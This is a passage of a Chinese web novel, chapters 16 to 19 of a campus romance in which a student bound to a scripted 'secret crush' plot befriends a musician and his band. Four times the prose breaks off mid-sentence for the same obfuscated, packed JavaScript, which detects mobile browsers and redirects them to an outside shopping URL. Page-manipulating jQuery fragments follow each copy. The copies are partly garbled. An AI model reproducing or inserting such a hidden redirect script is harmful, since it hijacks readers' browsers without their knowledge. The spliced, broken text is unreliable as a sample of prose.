她不理解为什么会说不出告白的话,一定要找原因,只能是她“暗恋”的时长太短,原剧情中的“罗姝”暗恋了段胥阳好长时间。 但这并不影响主线剧情,并且,她完全可以夸大自己的暗恋时长,不会有任何人知道她内心真正的心理活动。 好奇怪啊,这个从全文来看并不重要的剧情,起初是折磨她必须走,现在又阻止她不能走。 就算她罗姝已经认命地觉得这“罗姝”爱谁当谁当,这样摆布、戏弄她,也有点过分了吧? 罗姝心中生出了一些怒气,她将这情绪压在心里,表面上若无其事地点了碗阳春面。 段胥阳和曹非这两个半大小子的饭量都很大,将餐盘装得满满当当,相比之下,罗姝的小碗面就被衬托得有些可怜。 看着她那碗清汤面,段胥阳几次欲言又止,还是问出了口:“我买了两个鸡腿,分你一个?” “谢谢你啊,不用了。”罗姝用手挡住自己的碗口,连忙婉拒:“我就想吃点清淡的。” 段胥阳这个人已经不止一次投喂她了,他待人非常热情周到,就是不知道为什么,他好像总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924059|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得她在挨饿。 罗姝大口接小口迅速吃完面,就跟他们提出告别。 看着她急匆匆跑走的身影,段胥阳放慢了咀嚼地动作,他将嘴巴里的食物吞下去,擦了擦嘴,露出一个看似精明的眼神:“不对劲,她很不对劲。” “哪里不对劲?”曹非却觉得罗姝反应很正常:“人家饭量就这么大,你别老拿自己的饭量比。” “我说的不是饭量。”段胥阳没好气地瞪他一眼:“是她那会儿明明想跟我表白,但是却没说,这一点很不对劲。” “人家都没说,你就知道人家想跟你表白啊。”曹非对段胥阳大部分的话都是相信的,但他嘴里有关于罗姝的任何话,都要打个折扣再听:“你要是实在等不及,就自己去告白吧,非得让人家小姑娘先开口吗?” 段胥阳的思绪被拉回大半个小时之前,当罗姝声音紧绷着叫住他时,看着她闪烁的眼眸,他突然生出了一些预感,第一反应就是去看罗姝头顶箭头上的告白倒计时。 那一行小字闪烁了几下,虽然最终还是坚定地落在了三年这个时间段上,已经足以证明那几秒间罗姝内心的动摇。 这些事情没办法向外人道明,段胥阳也拨弄着餐盘上的米饭粒,有些意兴阑珊地说:“你不懂,她有她的打算。” “你说,会不会是因为她家里不让她谈恋爱啊?” 段胥阳想起之前听曹非讲过的事,也知道罗姝的父母管教子女非常严格。大学生也是学生,还是有很多父母不希望孩子大学恋爱的。 曹非耸了耸肩膀,没有搭话。 其实他到现在依旧认为,段胥阳自作多情的可能性更高。 虽然罗姝这段时间确实表现得像是对他有意思的样子。 爱情啊,叫人捉摸不透,他还是多看看小外甥女的照片治愈身心吧。 段胥阳本来也没指望他能表什么态,自顾自摸出手机点开邮箱:“那我就用事业证明我是个靠得住的男人!让叔叔阿姨信得过……我。” 突然,他的豪言壮语弱了下来,他竟然真的看到了一封新邮件,发件人正是之前的动漫剧组。 邮件标题只写了“对逆时针乐队投稿demo的答复”,并不能看出结果好坏。 段胥阳捏着手机的手指指节发白,他深吸了一口气,把手机屏幕转向曹非:“见证奇迹的时刻来临了。” 曹非定睛一看,也跟着屏住呼吸,两人心里叫了一圈神仙保佑,这才鼓足勇气点开了邮件。 “尊敬的逆时针乐队,您所制作的歌曲demo得到了我们剧组的一致喜爱,我们很期待未来与您达成合作,收到邮件后请联系xxxxxxxxxxx,请您带上完整版demo,具体详谈合作事宜。” 两人不敢置信地揉了好几次眼睛,这才压抑着尖叫无声大笑起来。 段胥阳将邮件截图发到逆时针乐队的小群里,又发了一串放烟花的表情,才得意地说:“哥几个,来年收拾收拾一起走花路吧!” 16. 暗恋第14天 罗姝匆匆忙忙赶回宿舍时,室友们还在吃饭,寝室里弥漫着一股饭香。 三个人凑在一台电脑屏幕前边看综艺边下饭,时不时笑成一团。 见她回来,最先听到开门声的白婵眼睛一亮:“姝姝!你回来啦,今天有进展吗?” 罗姝正因为先前的事而有些怏怏的,她嗯了一声,语气有些沉闷:“我们一起吃了饭。” “那不是很好嘛,怎么还闷闷不乐的?”康雅琪勉强把目光从综艺上挪开,看向罗姝,有些信誓旦旦地说:“按照小说、偶像剧、甚至短剧的逻辑,很快就会有人上传你们俩一起吃饭的照片到校园网上,随后你们就会被传绯闻,酱酱酿酿发展几下就在一起了呀!” “唉,”罗姝摇头:“情况很复杂,一时半会儿捉摸不清。还是先做作业吧,我一会儿把我的草稿整理出来,趁今天下午没课,咱们把剧本完善一下。” 室友组:“……” 人家跟你聊感情,你跟人家聊作业,没法愉快地玩耍了! 罗姝在课上已经写了一个关于剧情的草稿大纲,现在只需要转成电子版发到群里让编剧康雅琪扩写就好。 那家伙天天网上冲浪,小作文写了一篇又一篇,在文字创作上颇有灵性。 她一顿翻箱倒柜,才从衣柜里找到自己的电脑。这电脑其实是她表哥淘汰下来的旧游戏本,又重声音又大,罗姝总共也只开机过一次。 忍着那闷雷一般轰隆隆响个不停的换气扇声响,罗姝迅速把纸质版草稿转化成电子版发送到宿舍群,又开始安装各种剪辑软件。 这台旧电脑配置非常好,虽然是笔记本,比不过家里书房那台组装机,运行起剪辑软件也丝毫不卡顿。 时光就这样悄然溜走。 这篇作业从选题、起稿、定稿、拍摄、配音、剪辑到最终提交到老师邮箱,整整花了一周的时间。 罗姝那一整周的课余时间不是在辅导坨坨写作业,就是在做自己的作业,还要为了保证作业效果抽空看剪辑教学视频,整个人忙得像陀螺一样团团转。 忙碌的生活让罗姝暂时忘却了烦恼,直到又一个周三将要来临,罗姝才意识到她和段胥阳这一周里都只有表情包交流。 段胥阳也在忙,不止他忙,整个乐队都忙。校园墙上时不时爆出几张他们成员上课时的照片,每个人眼睛下面都挂着堪比国宝熊猫的黑眼圈。 想到上周发生的种种,先是被抹去的记忆,再是无法说出口的告白,罗姝一时感到十分为难。 要不要继续蹭课呢? 罗姝咬着食指指节纠结。 前两天她忙完以后还抽空在暗恋日记上补写了前一段时间发生的各种事。 写下来时才意识到,原来她和段胥阳在短短一段时间里已经产生了那么多交集,甚至仿佛已经是关系还不错的朋友。 这样是暗恋吗?会不会对他的生活参与度过高了些? 毕竟按照梦境的指示,在她跟段胥阳告白之前,段胥阳甚至不认识她是谁。 罗姝内心有些急躁,现在剧情就像在左右脑互搏一样,搞得她完全摸不清头脑。 排除了一个又一个答案,她开始担心是自己为了“暗恋”做的那些事,拉近了和段胥阳的距离,却反而使得剧情没法正常推进,把她架在一个不能前进不能后退的尴尬位置。 其实现在这种纯表情包交流也挺好的,既不用耗费大量时间,又不用遭受噩梦或者杂音攻击,更不用担心跟段胥阳接触多了又不小心触犯什么禁忌,再断片一次,还能继续维持她的“暗恋”人设。 需要她帮忙的时候,他们是同事,不需要她帮忙的时候,就是面都见不着的普通校友。 等过段时间他们关系冷淡下来,她再去尝试告白,说不定就能顺利杀青!从此不用再担心做噩梦,只需要等到三年后就好。 罗姝越想越觉得有道理,甚至感觉自己都快爱上这种“暗恋”生活了。 但她还是来了。 她也不懂自己为什么要来,又本能地不想和段胥阳见面,于是龟缩在后排一个角落里,低着头写一本英语四级练习题。 上一周的蹭课浪潮结束,这一周里来蹭课的人显然少了许多。 爱八卦的学生们终于意识到,舒舒服服躺在宿舍看帅哥照片,比忍着无聊跑到教室,却隔着大老远只能看到一张分辨率极低的帅脸,要划算得多。 这就导致教室里多出许多空位置来。 罗姝选择的这处宝地除外,因为过于边缘,这里反而变成了学生据点,四面八方都坐满了人。 罗姝藏在这些陌生的面孔里,想着段胥阳兴许永远也发现不了,她又一次来蹭他的课了。 大概是有一些愧疚吧。罗姝终于为自己的行动找到了一个合理的解释。 她带有目的地靠近,得到的是段胥阳发自内心的真诚回应,如今她又要出于私心地疏离,是她辜负了他的友情。 想到段胥阳那稍微受点冷落就显得难过的表情,也不知道他会不会因此而感到难过。 “不好意思同学,可以跟你换个位置吗?我的位置也不靠前,在第十排。” “谢谢啊,这杯奶茶请你喝。” 罗姝圈单词的手顿住,她怎么好像听到了段胥阳的声音? 一定是听错了,她特意坐到了跟上次曹非座位相反的方向,他们应该不会注意到她才对。 正胡乱安慰自己,罗姝感到自己手背一冰,她下意识看过去,视野里出现一盒红彤彤的草莓,个个又大又饱满,新鲜得像是要从表皮淌出甜蜜的汁液。 “说好的每周请你吃小蛋糕,上周末实在太忙了,我拿最新上市的头茬九九草莓跟你赔罪,包甜。” 男生古灵精怪地做出夸张的表情,灵动又亲昵。 罗姝怔怔地看向坐到她身边的人,震惊又不解:“你、你怎么找到我的?” 段胥阳眉头一挑,语气颇有些自得地说:“我一眼就看见了,你藏哪都没用。” “我哪藏了……”罗姝嘴硬,又不知道该如何辩解。这一次她没有找到能解释自己出现在这里的理由。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924060|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哼!最好他自己猜到她出现在这里是因为“暗恋”他,自己主动和她疏远,还省得她有心理负担。 这样想着,她又理直气壮地挺起腰。 她也不客气,捡起一颗草莓擦了擦就塞进嘴里,味蕾瞬间被浓郁的香甜包裹,让罗姝忍不住双眼一亮。 段胥阳就在一旁撑着脑袋笑眯眯看着她,见她嘴里没再嚼东西,才说:“我告诉你一个好消息。” “什么?” 周围人多嘴杂,段胥阳现在还不想把这件事传出去,就前倾身子贴近她耳边低语道:“有个很火的动漫,买了我们乐队新歌的版权做推广曲。” “你帮我们剪的那个视频帮了大忙,你可是大功臣!” 罗姝闻言有些惊喜,她万万想不到,哪怕现在还算是素人的段胥阳就已经有了这样的实力,甚至他还没有真正系统地学习过歌曲创作。 她忙摆摆手:“没有,不用抬举我,是你们自己有能力。” “我这个人说话很实诚的,从来不夸张。”段胥阳一脸正经地竖起三根手指做发誓状:“导演本来只想要一个片头曲,已经有另一个非常优秀的前辈入选了,但他临时看了我们其他选手的社交平台。” “看完以后,他认为我们乐队的粉丝非常年轻活跃,视频宣传也很用心,尤其是最新发表的视频,看得出来剪辑师还在不断深耕自己的剪辑手法,他非常放心也非常乐意把宣传的任务交给我们。” “所以,”段胥阳整个人洋溢着幸福快乐的气息:“我们这些无名小卒,就这么撞了大运,跟这么热门的IP合作了。” 难以言喻的感触从罗姝心尖弥漫开来,她喃喃:“所以,我真的有帮到你们……” 这是一种很神奇的感受,与第一次完成剪辑工作时的成就感并不相同。 她第一次明确地感受到,原来她是有用的,她是有价值的。她不仅仅是一个只用于炫耀的摆件,在跌落神坛后便会被丢弃在一旁。 她正靠着自己的努力,帮助他人实现一个大目标,她不再是同学眼中的麻烦,而是一个重要的伙伴。 在这样一个寻常的上午,她竟然听到了自己空洞的躯壳里,发出很轻微的、血肉生长的声音。 “对啊,我们乐队其他成员都对你感激涕零呢,他们特意委托我,前来邀请才华横溢的罗姝女士参加我们的庆功宴。” 罗姝刚刚还热血沸腾的心情瞬间萎靡了,她不自在地挪了挪身子,第一反应就是拒绝:“我就不去了吧,这是你们的庆功宴,多我一个外人,你们反而会放不开。我收下这盒草莓就行。” 说着,她把那盒草莓收进自己的怀里。 “那可不行,草莓是我买给你的,不能算他们的心意。”段胥阳先是纠正她,又说:“说是庆功宴,其实只有我们四个人,曹非你也熟,另外两个学长也很好相处。你不是还要帮我们剪辑视频吗?跟他们认识一下,也更好开展工作。” “来嘛,到时候我带你看看我的工作室,我还亲手给你做大蛋糕,我可是得了我家阿姨真传的!” 17. 暗恋第15天 看到段胥阳一脸诚恳地邀请,罗姝内心也开始动摇。 她回避社交已经形成了习惯,对于一些有生人参加的活动,她都会条件反射地拒绝。 但这一次不一样,这是一次为了庆祝他们的成功而举办的小聚餐。而这成功里,有她的一份功劳,甚至无需邀请,席间都本该有她的位置。 罗姝既动容地想要参与进这场意义非凡的庆功宴当中,又畏惧认识新的朋友、开启新的社交,还想按照原计划的那样,慢慢冷却与段胥阳的密切联系,返回到生疏的“暗恋者”位置上去。 所有复杂的思绪一拥而上,很快将罗姝的大脑搅乱成一团浆糊。她露出纠结的表情,眸光闪烁不停,不知该如何处理。 见她这样纠结,段胥阳急忙说:“不用着急回应我,到周五再决定就好。” 他深信,越是艰难的决定,越不能仓促地定下,无论大事小事。 想着把气氛重新活跃回来,段胥阳又提起新的话题:“这周五就要选通识课了,你决定好体育课选哪项了吗?羽毛球、排球、网球、篮球这些,都挺热门的,不好抢。” “嗯,”将难题暂时搁置,罗姝松了一口气,对于新的问题她回答得很细致:“我们周五第四节课还空着,综合了一下学长学姐们的经验,决定到时候选体育舞蹈课。” 段胥阳嘴角笑意一僵,他从班级群里翻出课程信息扒拉了几下,嗓子卡痰似的挤出一句:“是这个课程代码62321500WD,授课老师为陈丽蓉老师的体育舞蹈吗?” “没错,这门课到期末考试的时候只需要完整跳完老师教的那支舞就好,据说简单又轻松。而且根据往年的经验,会选择这门课的人也少,不用抢。” “不过老师教的都是双人舞,幸好我们宿舍有四个人,能互相当舞伴。”罗姝一脸庆幸地笑了笑。 段胥阳却眼神飘忽了一下……双人舞啊。 冬季将要来临,白天变短,到晚上七点钟时,天空就已经全部暗了下来。 周五,段胥阳买来充当工作室的小别墅灯火通明,乐队四个人正在根据剧组给出的修改意见调整词曲。 这时,除了已经大三的孟宇寰,其他三人的手机同时跳出来一个弹窗。 鼓手黄大骏扫了一眼便了然:“是课表更新了,加了今天自选的课程。” 现在的通识课几乎都是网课,只有体育课需要重新加入课表。 段胥阳捏起自己的手机,装模作样地站起身拔脚往外走:“我去看看外卖到了没有,这家咖啡也太慢了!” “你先站住。”曹非面无表情地盯着自己的课表,“我记得今天上午选课的时间段,正好碰上我姐夫过来,我就委托你帮我选一门体育课。” 段胥阳没有回头,还维持着随时跑路的姿势,语气含混地说:“那不是帮你选了吗?咱俩还是同一节课。” “你是忘了我们小时候学街舞因为肢体不协调被老师退课的事了吗?!你居然敢选舞蹈课!”曹非震怒,他愤愤地拍着桌面:“实在没课选田径也好啊!” “体育舞蹈轻松啊,一个学期就学一支舞,期末能完整跳下来就可以高分过。再说了,课程又没要求必须跳好看,就算你跳舞像八爪鱼在爬,老师也不会在意的。”段胥阳梗着脖子,理不直气也壮地反驳。 “而且,”他气势弱下来:“罗姝她们寝室也在,朋友多,热闹嘛。” 段胥阳心虚别过脸。 段胥阳望向黑咕隆咚的窗外吹了声口哨掩饰尴尬。 曹非冷笑。 曹非拎起鸡毛掸子。 ——猎杀时刻。 罗姝最终还是决定答应段胥阳乐队的邀请,去参加他们的庆功宴。 因为她突然意识到,千个万个不想去的理由,都敌不过那个想去的理由:这同样是属于她的荣耀。 段胥阳收到消息开心极了,立马回复了好几条语音。 “太好了!那我偷偷给你开小灶,你早一点过来,我做蛋糕给你吃。” “下午三点左右怎么样?还是到西门等我,我到时候开车来接你。” “正好我给你介绍一下新布置的剪辑室。” 两人就这样约定下来,罗姝回完消息,刚把手机放到一边打算再刷一套四级题时,就见床边悄然多了三个人。 罗姝的目光从她们带着八卦神色的脸上一一扫过,很上道地主动坦白:“我周六要去参加段胥阳乐队的聚餐。” 白婵作为寝室长,又比她们都大一岁,平时都不准别人说她年龄大,此刻却故意做出姐姐的样子一顿揶揄。 “好妹妹,看到你进展如此顺利,我也就放心了。别怕,家里会砸锅卖铁给你准备嫁妆的。” 她抓着罗姝的手一下下摸着,让罗姝肉麻地激起一身鸡皮疙瘩,罗姝急忙讨饶:“你别捉弄我了,我也是因为帮他们剪了一次视频,在网上传播效果不错,他们乐队才会邀请我去的。” “不管怎么说,你即将要融入段胥阳的朋友圈,作为他身边的女生朋友第一人,那得化妆吧。” 林莎瞬间搬出一大箱化妆品出来,眼神亮的惊人:“我一定给你化一个惊艳四座的神仙妆容!” “惊!音乐才子段胥阳身边竟已有她!”康雅琪不知何时已经编辑了一篇稿子,她念出标题,随后询问大家的意见:“你们觉得这个标题能不能帮姝姝宣示主权?没问题我就给校园墙投稿。” 罗姝:“……” 室友的爱有些沉重到承受不来了。 好说歹说终于打消了康雅琪的念头,周六当天,罗姝被盛装打扮一番送出寝室。 “加油!”三人表情严肃:“该主动就主动,我们女孩子更要主动把握幸福!” 哪怕知道室友们一直以来都误会了她的意图,她其实并没有追求段胥阳的意思,但看到室友们为她一次次努力的样子,罗姝心里还是漾起暖意。 这正是她从很久之前就向往的,拥有好朋友的生活。 于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926112|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也配合室友们,做了个奋斗的手势,就昂首挺胸地向校门口走去。 亮眼的橙红色停留在校门口,经过的学生都忍不住要打量一下。 车辆的主人段胥阳也不是一个低调的,他戴着一副墨镜,整个人潇洒地倚靠在车身上,更是吸引了一大片人专程路过来看他。 罗姝看到这样的盛况,突然不敢过去了。 她真的很怕那些好奇的目光也落在自己身上。 然而为时已晚,段胥阳仅用了一秒钟就在人群中一眼锁定了她,并举手高呼:“罗姝,这边!” 罗姝下意识抬起手借着整理头发的动作挡了挡脸。 她应该早一点告诉他,他的位置十分显眼的。 完全不需要这样提醒她,谢谢。 匆忙跑过去一骨碌钻进车厢,罗姝这才放松下来,车窗玻璃膜挡住了路人的窥视,也挡住了那些窃窃私语,缓解了她的不适感。 段胥阳也绕到驾驶室的位置坐了进来:“我们得先去一趟超市,工作室那边缺做蛋糕的食材。” “好,我也想买一些新鲜的水果作为上门礼物。”罗姝同他达成共识。 车辆缓缓驶离,校门渐渐被甩在身后,罗姝回想起人群中有不少人在偷拍,恐怕真的要如康雅琪的意,传出什么不实消息。 她犹豫了一下,不知是否该提醒段胥阳。 很快她就打消了这个念头,她还得实现“被群嘲”这个剧情目标,现在流言蜚语传得越广,以后她告白失败,才更容易被嘲笑。 就让一切顺其自然吧。 两人目标都很明确,采购只花了不到半小时的功夫。 罗姝发现除了烘焙食材,段胥阳还买了很多肉、蛋、时蔬。 “说是庆功宴,其实就是一起在工作室里吃一顿饭。”段胥阳解释说:“我们的工作室里有厨房和餐厅,不算太忙的时候会自己下厨,厨艺都不错,你可以放心。” 罗姝很给面子地夸赞起来:“既然你们都是大厨,到时候我可就不进来厨房帮倒忙了,我不太会做饭,我可以洗碗。” “厨房有洗碗机,洗碗让它来,你可以帮忙把碗筷整理到橱柜里。”段胥阳对工作分工重新做出安排,随后他默默补充了一句:“如果时间不晚的话。” 这种聚餐免不了喝酒、游戏,恐怕要耽误不少时间。 段胥阳的工作室距离学校不出三公里,很快车辆重新停了下来。 这是一片别墅区,每家都是独栋别墅,家家户户间隔也较远,不太会扰民。 三层高的小别墅里切割出大大小小众多个房间,其中一楼是公共活动区,主要是厨房、餐厅、卫生间;二楼做了隔音处理,是他们的练习室、录音室和会议室;三楼则是卧室。 段胥阳把采购来的东西都搬到厨房,拉着罗姝走到一楼卫生间旁边的小房间门口,让她把手放到门把手上。 他隐含期待地看着她说:“这是给你布置的剪辑室,快进去看看喜欢吗?” 18. 暗恋第16天 漆成原木色的门板嵌在门框里,简单又不起眼,但对上段胥阳那透露着“求夸奖”三个字的帅脸,罗姝也忍不住开始期待起来。 按下触感微凉的门把手,罗姝率先走了进去。 房间不大,甚至有些小,一张书桌、一把人体工学椅,再加上一张单人床,就把房间的空间占据了七七八八。 整个房间都贴满了奶绿色的墙纸,窗帘和床上三件套也都是十分清新的颜色,像路边的野花,叫人如同置身童话中的森林,忍不住想要卸下心防。 房间里只有一扇窗户,朝向西南方,下午时采光很好,昏黄的光线穿过透明的玻璃,打在床头两只小熊身上,十分温暖。 那夕阳甚至有些刺眼,罗姝路过时忍不住抬手挡了一下眼睛,直到段胥阳走过去拉出一层金刚纱做的帘子,将火红的太阳暂时隔绝,罗姝才放下手。 “除了电脑是旧的,其他布置都是新的,怎么样,还温馨吗?” 罗姝正在跟玩偶小熊握手,她记得这两只小熊还曾出现在段胥阳的车里,看来段胥阳很喜欢这种小玩偶。 听到问话,她松开小熊,转身夸赞道:“很温馨,看起来是一个非常舒适宜居的小房间。” 随后她失笑:“就是不太像剪辑室。” 段胥阳拍着电脑显示屏说:“这套办公用品就是剪辑室的核心,有它在就行。你是来帮忙的,环境当然要舒适一点。” “剪辑本来就耗时耗力,累的时候你还可以简单休息一下。除此之外,万一遇到长假短假有不想回家的时候,你也可以来这里。” 说着,段胥阳把门锁上的那串钥匙取下来递给她:“喏,我们乐队的人在这里都有歇脚的房间,这间就属于你。” 罗姝惊讶地望着他,没有第一时间伸手去接。 “我也有房间吗?”她指了指自己,整个人因为惊讶而显得有些迟缓:“其实我在寝室也可以剪辑的。” 段胥阳便解释说:“日常视频倒是无所谓,但是考虑到很多视频里有我们的创作过程,还有需要保密的新歌之类的,重要素材不方便外传,就得麻烦你到这里剪辑了。” “而且,你可是我们乐队宣传部门的顶梁柱,当然要有专属房间。”段胥阳又把钥匙往前递了递:“收下吧,不用觉得不好意思,你只要把它当成办公室就好。” 听他这样讲,罗姝也不再推辞,她将那串钥匙接过来,摘下一把,又把剩余的还回去:“那我拿一把就好,其他的就当做备用钥匙收好吧。” 她把钥匙和自己寝室的钥匙挂在一起,听到两把钥匙叮当撞击的清脆声响,内心划过奇异的电流。 带着罗姝看完剪辑室,段胥阳便穿好围裙戴上厨师帽,一头扎进了厨房。 他做蛋糕是从做蛋糕胚开始,罗姝自己是个厨房小白,对别人的厨艺却很感兴趣,特意搬了把椅子过来看他的动作。 这一看就发现段胥阳还真是没有夸张,不论是蛋液分离还是搅拌面粉又或是打发蛋清,他的每个动作都干净利落,厨房台面也干净整洁,没有一丝狼藉。 见罗姝微张着嘴对他满脸钦佩的样子,段胥阳笑了笑,说:“我不是说了嘛,我是我家阿姨的关门大弟子,继承了至少八成她的手艺。” “那你怎么会跟着阿姨学做蛋糕啊?”罗姝好奇极了:“你很喜欢吃甜品吗?” “我奶奶和我外婆两个老太太都喜欢吃。”段胥阳手上动作不停,脸上浮现出混合着幸福与无奈的笑容。 “她们只喜欢吃我家阿姨做的甜品,好几次过来撬墙角。偏偏她们一个住城南,一个住城北,让阿姨跟谁都不合适,那就我自己学,去见她们的时候顺手帮她们做一块蛋糕解解馋。” 罗姝没想到是这个原因,她愣了一下,才接着说:“那也挺好的,真让阿姨跟着老人家,老人难免馋嘴要多吃甜品,现在这样也能控制一下。” 段胥阳嘶了一声,动作停顿了一下:“对哦,我当时就想着我们家也需要阿姨,不能让阿姨被撬走,完全没想到还有这种作用。” 罗姝:“……” 把我的感动还回来吧。 很快,伴随着烤箱的运行声,整间别墅都弥漫起奶香,蛋糕胚还需要烤制一段时间,段胥阳便又带着罗姝往楼上走,参观工作室的核心领域。 二楼最大的房间当属练习室,是按照正规艺人练习室装修的,有贴了一整面墙的镜子,可以直接观察到自己的表演状态。 除此之外,这里还摆放着各种乐器,有他们乐队必备的吉他、贝斯、键盘和架子鼓,也有放在架子上的陌生管弦乐器,甚至还有一台钢琴。 “我可以弹一下吗?”罗姝走到那架钢琴旁边,回头询问段胥阳的意见。 “当然可以,”段胥阳一口答应下来:“你之前学过吗?” 罗姝摇摇头:“我没学过,我妹妹学过。不过她的钢琴老师以前也带着我弹过一首歌。” 她笨拙地把手指放到琴键上,回忆着当时背诵的谱子,嘴里小声念叨着:“DoDoSoSoLaLaSo,FaFaMiMiReReDo……” 毫无节奏的琴音断断续续响起,依稀能分辨出是那首国际名曲《小星星》。 罗姝勉强弹完最后一句,红着脸站起身默默走开了些。 练习室混响效果太好,把她那弹得稀碎的曲调无比清晰且放大地传进耳朵里。想到她唯一的听众在音乐上的天赋,很难不感到羞耻。 段胥阳却十分捧场地鼓着掌:“一个错音都没有,你其实是钢琴天才吧?我学钢琴的时候还经常分不清琴键呢!” 听着他那夸张的褒奖,罗姝也算收获了一麻袋的情绪价值,她忍不住开心地扬起嘴角。 她从小就被人夸作天才,但这些赞誉只会一次又一次加重她的心理负担。从来没想到有朝一日,当她不再是天才,这个词却反而叫她感到放松。 又停停走走地看完了放在架子上的乐器,罗姝看到旁边的墙壁上挂着数张照片,照片里是各式各样的荣誉证书或者奖杯,得奖人有段胥阳也有别人,看起来是乐队成员的荣誉墙。 当中最显眼的,当属一张段胥阳和奖杯的合影。那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931800|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段胥阳还有些稚气未脱的孩子气,正抱着全国青少年歌唱比赛的季军奖杯笑得开怀。 照片右上角写着拍摄时间,罗姝的记忆便也跟着这串数字回到了几年前,高一的时候。 那时她的处境有些尴尬,母亲刚因为她交了新朋友耽误了周末补课而到学校里大闹了一场,她被迫失去了朋友,也被隔离在集体以外,情绪十分低迷。 那个周五的下午,学校组织了越野比赛,体育委员给班里所有人都报了名,唯独漏了罗姝。 她独自一人坐在空荡荡的教室里,听到窗外传来各种各样的声响。有老师在讲解规则,有老师在组织纪律,有学生在激动地交头接耳,还有负责开路的汽车正在启动。 罗姝始终没有抬头,兀自低头跟一本厚厚的习题册较劲。 “罗姝。” 有人在门口喊她的名字,罗姝条件反射地抬起头,就看见段胥阳逆着光站在门外,手里晃着一包水果硬糖。 折射着阳光的包装袋流光溢彩,像一只七彩的鹤,倏地坠落在她掌心。 “请你吃糖。” 后来罗姝才知道,段胥阳拿了全国青少年歌唱大赛的奖项,回校后请了整栋楼的学生吃糖。 她也在最声名狼藉的时刻,收到了他无差别释放的善意。 “段胥阳。”早已走出那段时光的罗姝看向还挂着围裙一副居家好男人模样的段胥阳,终于说出了那句迟到三年的话:“恭喜你得了奖。” 这没头没尾的恭喜让段胥阳一阵摸不着头脑:“我最近拿奖了吗?” “那你别管。” 两人就这么乱搭着话茬,重新回到厨房继续制作蛋糕。 段胥阳的厨房里工具齐全,没多久,一款堪比甜品店招牌的水果蛋糕便被端到了罗姝面前。 也是同一时间,从大门口传来滴滴几声按密码的声音。 段胥阳上扬的嘴角立马拉了下来:“不是说好了让他们晚点再来吗?!” 罗姝还没反应过来,就见一个打着赤膊的寸头男生冲进来,整个人人高马大,孔武有力,巧克力色的手臂上爬满青筋,肌肉十分突出。 “蛋糕呢蛋糕呢?我最喜欢的蛋糕……呢。” 视野里突然出现一个女生,黄大骏尴尬地停在原地,黝黑的面庞上硬生生透出些红色来:“学妹已经来了啊,我是乐队鼓手黄大骏,欢迎你。” 罗姝同样也觉得尴尬,她从椅子上跳下来,问了声好:“学长好。” 接着她便让出了位置,让黄大骏能够跟蛋糕面对面交流。 黄大骏挪到蛋糕面前,瓮声瓮气地说:“我就是来帮大家上一下菜。” 用这句话给自己解围,黄大骏对自己连连点头,僵硬地冲着罗姝笑了一下,便把蛋糕端了出去。 罗姝看回段胥阳,此人已经明显挂脸,神情不悦:“一定是曹非干的,他不想让我们吃独食!” “没关系的,这么大的蛋糕我们两个人本来也吃不完。”罗姝冲他摆了摆手,又试探地指了指外面:“我们先去跟另一位学长也打声招呼?” 19. 暗恋第17天 在段胥阳的介绍下,罗姝与逆时针乐队的成员们正式认识。 也是这个时候她才知道,虽然乐队平时的大事小事都是段胥阳在忙活,可乐队真正的队长其实是孟宇寰。 这位戴着无框眼镜,文质彬彬的学长听到队长这个头衔时无奈笑了一下,罗姝有理由怀疑他也不是自愿当官的。 孟宇寰显然是一位非常细心得体的学长,和罗姝握过手后,他就语气温和地说:“学妹,趁着娱乐局还没开始,先把正事定一下吧。” “我知道你和小阳感情挺好的,但是一码归一码,如果是商务视频,还是得按照市场规矩给你分成,具体比例我们再商量。” 就这么三言两语间,罗姝便又喜得一笔收入。 黄大骏和孟宇寰都擅长厨艺,黄大骏的颠锅技术已经炉火纯青,所有需要急火快炒的菜色都是他的拿手菜,孟宇寰则精通煲汤,他们二人外加一个帮忙备菜的段胥阳,就足以把控整个厨房。 罗姝只好留在餐厅,和曹非一起准备烤肉。 